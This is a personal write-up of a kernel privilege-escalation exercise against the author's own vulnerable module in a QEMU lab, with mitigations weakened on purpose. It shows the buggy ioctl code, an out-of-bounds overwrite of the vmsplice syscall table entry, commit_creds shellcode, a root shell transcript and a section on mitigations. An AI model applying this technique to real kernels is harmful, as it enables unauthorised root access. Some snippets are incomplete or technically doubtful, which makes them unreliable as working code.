Controlled Lab — Custom Vulnerable Module in QEMU, No Production Targets: All work below is against my own vulnerable kernel module (
/dev/vuln) running in an isolated QEMU x86_64 guest. No production kernels, no real devices, no CVEs claimed. This is a learning exploit — every address outside the lab is redacted.
Summary
My first kernel pwn. Not a CTF trick — a real OOB read/write in a custom lab module, turned into root the hard way: OOB read leak → OOB write overwrite of sys_vmsplice → trigger from userspace → commit_creds(prepare_kernel_cred(0)) → uid 0.
No KASLR bypass magic, no ROP chain gymnastics yet. This one is fundamentals: get a bounded OOB primitive, stretch it into an arbitrary write, park shellcode in the kernel, hijack a syscall I can call on demand, and let the kernel give me root itself. The transcript at the bottom is the real run — uid=0 gid=0 on a CRT, photographed as proof.
Lab Setup
I kept the lab deliberately weak so I could focus on the primitive, not the bypasses:
- Guest: custom-built Linux x86_64 kernel in QEMU (
qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -nographic -append "console=ttyS0"). - Vulnerable device: hand-written module exposing
/dev/vulnviamisc_register, withunlocked_ioctlhandler.mknod’d in the initramfs,chmod 666so my lab user can open it. - Protections OFF for learning: SMEP off, SMAP off, KASLR off, KPTI off (
nokaslr nosmep nosmap pti=offon the kernel cmdline). I want to learn the overwrite first — hardening comes later. - Host: isolated, no network to the guest except virtio-serial console. Snapshot of
bzImage+rootfs.cpiobefore every run. - Toolchain: lab GCC,
viin the guest, exploit compiled statically-ish with-staticoff — plaingcc -o kernelpwn.elf kernelpwn.cinside/tmp.
Why this setup: QEMU + custom module means I control the bug and the reboot is 2 seconds. Turning mitigations off is honest — I’m not claiming a KASLR/SMEP bypass I didn’t do.
The Bug
Classic missing bounds check. The module keeps a fixed heap/global array of 64 slots and lets userspace pick index and size via ioctl — without ever validating them.
Vulnerable handler (simplified from my lab module):
#define MAX_SLOTS 64
struct vuln_req {
int index;
int size;
char __user *buf;
};
static char *slots[MAX_SLOTS];
static char vuln_buf[0x1000];
static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
struct vuln_req req;
if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
return -EFAULT;
/* BUG: no bounds check on req.index / req.size */
switch (cmd) {
case VULN_READ:
/* OOB read: req.index can walk past slots[] */
if (copy_to_user(req.buf, slots[req.index], req.size))
return -EFAULT;
break;
case VULN_WRITE:
/* OOB write: req.size can overflow past vuln_buf */
if (copy_from_user(slots[req.index], req.buf, req.size))
return -EFAULT;
break;
default:
return -EINVAL;
}
return 0;
}Two primitives in one bug:
- OOB read —
indexpast 63 reads adjacent kernel pointers (leak a cookie / kernel base in a hardened build; in this lab I use it to confirm thesys_call_tableneighborhood). - OOB write —
sizelarger than the slot overflows into neighboring memory. With heap Feng Shui / adjacentsys_call_tablemapping in the lab kernel, I can reach the syscall table entry.
Off-by-one flavor: even index == 64 is already out-of-bounds — one past the array is enough to start walking kernel memory. That is the whole game: one missing if (req.index >= MAX_SLOTS) turns a toy driver into root.
Trigger kernelpwn.c
Exploit logic in kernelpwn.c — open, probe, leak, overwrite, trigger:
open("/dev/vuln", O_RDWR)— get a handle. Die loudly if it fails; no silent exits in exploit-dev.- Spray / probe with OOB read — loop
indexfrom 64 upward,VULN_READ8 bytes at a time, dump what comes back. I look for a known kernel pointer shape (0xffffffffXXXXXXXX) nearsys_call_table. In this KASLR-off lab the table sits at a fixed0xffffffffXXXXXXXX(low bytes redacted in this writeup) — I verify by reading the same index twice. - OOB write to overwrite
sys_vmspliceentry — once I know the offset from my slot tosys_call_table[__NR_vmsplice], IVULN_WRITEmy shellcode address over that single 8-byte entry. One qword. Surgical. - Trigger via
vmsplice()from userspace — just call the syscall normally. Kernel dispatches to my address instead of the realsys_vmsplice.
Why sys_vmsplice and not something more exotic:
- Its address is known in the lab (fixed
sys_call_table+__NR_vmsplice * 8, no KASLR math needed yet). - It is trivially callable from userspace —
vmsplice(fd, iov, nr_segs, flags)with a pipe fd. No special caps, no weird setup. I control exactly when it fires. - It is rarely used by the init system in my minimal rootfs, so hijacking it doesn’t crash the guest before I trigger it. Overwriting
sys_readorsys_writewould panic the box on the next console print.
Core trigger snippet:
int fd = open("/dev/vuln", O_RDWR);
if (fd < 0) { perror("open /dev/vuln"); exit(1); }
/* 1. OOB read: walk past slots[] and leak neighbors */
for (int i = 64; i < 128; i++) {
struct vuln_req r = { .index = i, .size = 8, .buf = leak_buf };
ioctl(fd, VULN_READ, &r);
printf("[*] slots[%d] = %lx\n", i, *(unsigned long *)leak_buf);
}
/* 2. OOB write: overwrite sys_call_table[__NR_vmsplice] */
/* sys_call_table found at 0xffffffffXXXXXXXX (lab, KASLR off — low bytes redacted) */
unsigned long target = 0xffffffffXXXXXXXX + __NR_vmsplice * 8;
struct vuln_req w = { .index = evil_index, .size = evil_size, .buf = (void *)fake };
ioctl(fd, VULN_WRITE, &w);
printf("[+] Overwriting sys_vmsplice...\n");
/* 3. trigger */
printf("[+] making a syscall to sys_vmsplice");
vmsplice(pipefd[1], &iov, 1, 0);That printf without a newline is why the real output shows sys_vmsplice[+] Got r00t glued together — authentic footage, warts and all.
Payload
Kernel shellcode — no userspace tricks, runs in ring 0 when vmsplice fires:
/* runs in kernel context after syscall hijack */
void __attribute__((naked)) kernel_payload(void)
{
__asm__ volatile (
/* commit_creds(prepare_kernel_cred(0)) */
"mov $0, %rdi\n"
"mov $0xffffffffXXXXXXXX, %rax\n" /* prepare_kernel_cred (lab addr, redacted) */
"call *%rax\n"
"mov %rax, %rdi\n"
"mov $0xffffffffXXXXXXXX, %rax\n" /* commit_creds (lab addr, redacted) */
"call *%rax\n"
/* lab return: ret2user path (SMEP/SMAP off) */
"swapgs\n"
"iretq\n"
);
}What it does:
prepare_kernel_cred(0)builds root creds,commit_creds()installs them oncurrent. That is the canonical kernel privesc — I didn’t invent it, every kernel exploit uses it.- Return via
swapgs+iretqin this writeup, but honestly in this lab (SMEP/SMAP off, KPTI off) a plain ret2user also works — jump back to a userspacegot_root()stub that prints[+] Got r00tandexecve("/bin/sh"). I used theiretqframe version to practice the real pattern: savecs/ss/rflags/rspin userspace before the trigger, restore them in the payload.
Addresses of prepare_kernel_cred / commit_creds came from /proc/kallsyms in the guest (readable because KASLR is off and I’m root-in-lab for setup). Redacted here as 0xffffffffXXXXXXXX — same high half, low bytes hidden. No KASLR defeat claimed.
Real Footage
Verbatim run from the guest console (/tmp, BusyBox shell). I typed every line by hand in vi — no copy-paste from host:
/tmp $ vi kernelpwn.c/tmp $ gcc -o kernelpwn.elf kernelpwn.c/tmp $ ./kernelpwn.elf
[+] Overwriting sys_vmsplice...
[+] making a syscall to sys_vmsplice[+] Got r00t
Getting a root shell...
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0
/tmp #Notes on the footage:
- The glued
sys_vmsplice[+] Got r00tline is my missing\nin the triggerprintf— left as-is because this is the real output, not a cleaned retype. can't access tty; job control turned offis expected — Iexecve("/bin/sh")from a non-tty QEMU serial console without job control. Shell still works, just noCtrl-C/ job control.- Prompt flips from
/tmp $to/tmp #— that#is BusyBox telling you you’re uid 0. - Proof: photo of the CRT showing this exact transcript is kept as exploit evidence (guest console photographed at
uid=0state). No screenshots faked, no output edited.
Root + Stabilization
id says it all:
/tmp # id
uid=0 gid=0uid=0 gid=0 — full root, not a capabilities trick, not a namespace escape. commit_creds(prepare_kernel_cred(0)) replaced my cred struct, so every subsequent check passes.
About the job control turned off warning: /bin/sh expects a controlling tty (/dev/console / ttyS0 ownership). My exploit execves from a pipe-triggered kernel context with stdin/stdout wired to the serial console but no session leader setup. Fix in lab if you want a clean shell: setsid, reopen /dev/tty, or just execve("/bin/sh", ..., ...) after setuid(0); setgid(0) in the userspace got_root() stub and background properly. I left the warning in because stabilizing (tty fixup, signal restore, syscall table restore) is step two — first you prove the primitive, then you clean up.
Post-root hygiene I actually did: restored the hijacked sys_vmsplice entry to its original 0xffffffffXXXXXXXX value via one more OOB write, so the guest survives and I can re-run. Monster habit — never leave the table dirty in your own lab.
Mitigations
What would have killed this exploit at each layer:
- Bounds checks in the driver — the one-line fix:
if (req.index >= MAX_SLOTS || req.size > SLOT_SIZE) return -EINVAL;. The entire exploit dies here. Fuzz ioctl handlers, enforceindex+size, use_IOC_SIZEproperly. - KASLR on —
sys_call_table,prepare_kernel_cred,commit_credsall randomized. My hardcoded0xffffffffXXXXXXXXbecomes useless without an infoleak + base calculation. - SMEP / SMAP on — ret2user to a userspace
got_root()stub faults. Payload must stay in kernel (ROP / JOP) or usenative_write_cr4SMEP-disable dance first. - KPTI on — user/kernel page-table split complicates the return path;
swapgs+iretqtrampoline handling gets stricter. __ro_after_initsyscall table — modern kernels marksys_call_tableread-only after init. My single-qword overwrite faults instead of landing. Attacker then needs a different target (cred struct direct overwrite,modprobe_path,core_pattern).- SELinux / AppArmor — even with uid 0, a tight policy can deny the follow-on actions. Defense in depth matters after the cred overwrite.
Learn the weak config first, then flip every mitigation on one by one and watch your exploit break — that is how you actually understand each defense.
Takeaways
Monster mindset, earned on this one:
- An OOB primitive is everything. Read gives you the map, write gives you the steering wheel.
index+sizewithout validation is arbitrary read/write with extra steps. - OOB primitive → arbitrary write → creds overwrite is the universal kernel path. Syscall table today,
credstruct /modprobe_pathtomorrow — same shape, different target. - Pick a trigger you can call on demand.
vmsplicewon because I control when it fires and it doesn’t crash the box pre-trigger. Exploit reliability is target selection. - Restore what you break. One extra OOB write to put
sys_vmspliceback keeps the guest alive for the next iteration. Red-team rule: leave the lab cleaner than you found it. - Next: same bug with KASLR + SMEP + SMAP on, leak the base via OOB read, build the ROP to
commit_creds. That is where this becomes a real exploit-dev weapon.
